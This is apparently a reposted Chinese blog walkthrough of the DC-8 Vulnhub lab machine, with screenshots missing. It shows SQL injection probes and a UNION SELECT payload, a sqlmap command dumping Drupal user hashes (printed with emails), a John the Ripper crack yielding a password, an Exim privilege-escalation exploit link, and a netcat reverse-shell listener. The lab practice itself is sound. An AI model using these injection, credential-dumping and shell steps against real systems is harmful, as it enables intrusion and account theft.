首页 > 其他 > 详细

DC8: Vulnhub Walkthrough

时间:2019-09-23 18:56:49      阅读:307      评论:0      收藏:0      [点我收藏+]

镜像下载链接:

https://www.vulnhub.com/entry/dc-8,367/#download

主机扫描:

技术分享图片

 

http://10.10.202.131/?nid=2%27

技术分享图片

 

http://10.10.202.131/?nid=2%20and%201=2 # false

http://10.10.202.131/?nid=2%20and%201=1 # true

http://10.10.202.131/?nid=-2+union+select++(CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()))+

技术分享图片

 

╰─ sqlmap -u "http://10.10.202.131/?nid=1" --dbs --batch -D d7db -T users -C name,pass,init --dump

技术分享图片

 

| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z | dc8blah@dc8blah.org |
| john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF | john@blahsdfsfd.org |

# john --wordlist=/usr/share/wordlists/rockyou.txt druphsh

技术分享图片

 

john/turtle

技术分享图片

 

技术分享图片

 

 技术分享图片

 

 技术分享图片

 

技术分享图片

 

进行提权操作:

技术分享图片

 

技术分享图片

 

google: exim 4.89 privilege escalation

https://www.exploit-db.com/exploits/46996

技术分享图片

 

nc -lvvp 4444

技术分享图片

 

技术分享图片

 

OVER!

 

DC8: Vulnhub Walkthrough

原文:https://www.cnblogs.com/hack404/p/11573839.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!